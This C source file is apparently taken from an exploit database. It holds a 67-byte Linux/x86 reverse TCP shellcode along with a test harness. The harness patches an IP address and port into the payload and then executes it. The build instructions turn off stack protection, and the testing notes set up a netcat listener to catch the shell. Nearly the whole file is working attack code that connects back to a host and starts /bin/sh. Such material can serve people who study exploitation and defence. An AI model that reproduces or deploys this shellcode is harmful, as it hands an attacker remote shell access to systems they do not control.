/* Tiny Shell Reverse TCP Shellcode - C Language Linux/x86 Written in 2013 by Geyslan G. Bem, Hacking bits http://hackingbits.com geyslan@gmail.com This source is licensed under the Creative Commons Attribution-ShareAlike 3.0 Brazil License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/ You are free: to Share - to copy, distribute and transmit the work to Remix - to adapt the work to make commercial use of the work Under the following conditions: Attribution - You must attribute the work in the manner specified by the author or licensor (but not in any way that suggests that they endorse you or your use of the work). Share Alike - If you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one. */ /* tiny_shell_reverse_tcp_shellcode * 67 bytes * null-free if the IP and port are # gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode Testing # nc -l 11111 # ./tiny_shell_reverse_tcp_shellcode */ #include #include unsigned char code[] = \ "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd" "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01" "\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1" "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b" "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x31\xc9\xcd\x80"; main () { // When the Port contains null bytes, printf will show a wrong shellcode length. printf("Shellcode Length: %d\n", strlen(code)); // Pollutes all registers ensuring that the shellcode runs in any circumstance. __asm__ ("movl $0xffffffff, %eax\n\t" "movl %eax, %ebx\n\t" "movl %eax, %ecx\n\t" "movl %eax, %edx\n\t" "movl %eax, %esi\n\t" "movl %eax, %edi\n\t" "movl %eax, %ebp\n\t" // Setting the IP "movl $0x0101017f, (code+27)\n\t" // Setting the port "movw $0x672b, (code+33)\n\t" // Calling the shellcode "call code"); } # Iranian Exploit DataBase = http://IeDb.Ir [2017-07-07]